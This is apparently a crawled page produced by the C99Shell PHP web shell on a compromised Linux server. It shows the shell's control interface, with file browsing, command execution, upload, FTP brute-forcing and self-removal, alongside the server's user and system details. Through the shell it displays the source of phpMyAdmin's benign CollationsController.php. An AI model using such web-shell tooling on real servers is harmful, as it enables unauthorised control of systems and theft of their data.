!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/classes/Controllers/Server/   drwxr-xr-x
Free 83.29 GB of 96.73 GB (86.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CollationsController.php (2.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Controllers\Server;

use 
PhpMyAdmin\Charsets;
use 
PhpMyAdmin\Charsets\Charset;
use 
PhpMyAdmin\Charsets\Collation;
use 
PhpMyAdmin\Controllers\AbstractController;
use 
PhpMyAdmin\DatabaseInterface;
use 
PhpMyAdmin\Response;
use 
PhpMyAdmin\Template;
use 
PhpMyAdmin\Url;

/**
 * Handles viewing character sets and collations
 */
class CollationsController extends AbstractController
{
    
/** @var array|null */
    
private $charsets;

    
/** @var array|null */
    
private $collations;

    
/** @var DatabaseInterface */
    
private $dbi;

    
/**
     * @param Response          $response
     * @param DatabaseInterface $dbi
     * @param array|null        $charsets   Array of charsets
     * @param array|null        $collations Array of collations
     */
    
public function __construct(
        
$response,
        
Template $template,
        
$dbi,
        ?array 
$charsets null,
        ?array 
$collations null
    
) {
        global 
$cfg;

        
parent::__construct($response$template);
        
$this->dbi $dbi;

        
$this->charsets $charsets ?? Charsets::getCharsets($this->dbi$cfg['Server']['DisableIS']);
        
$this->collations $collations ?? Charsets::getCollations($this->dbi$cfg['Server']['DisableIS']);
    }

    public function 
index(): void
    
{
        global 
$err_url;

        
$err_url Url::getFromRoute('/');

        if (
$this->dbi->isSuperUser()) {
            
$this->dbi->selectDb('mysql');
        }

        
$charsets = [];
        
/** @var Charset $charset */
        
foreach ($this->charsets as $charset) {
            
$charsetCollations = [];
            
/** @var Collation $collation */
            
foreach ($this->collations[$charset->getName()] as $collation) {
                
$charsetCollations[] = [
                    
'name' => $collation->getName(),
                    
'description' => $collation->getDescription(),
                    
'is_default' => $collation->isDefault(),
                ];
            }

            
$charsets[] = [
                
'name' => $charset->getName(),
                
'description' => $charset->getDescription(),
                
'collations' => $charsetCollations,
            ];
        }

        
$this->render('server/collations/index', ['charsets' => $charsets]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0044 ]--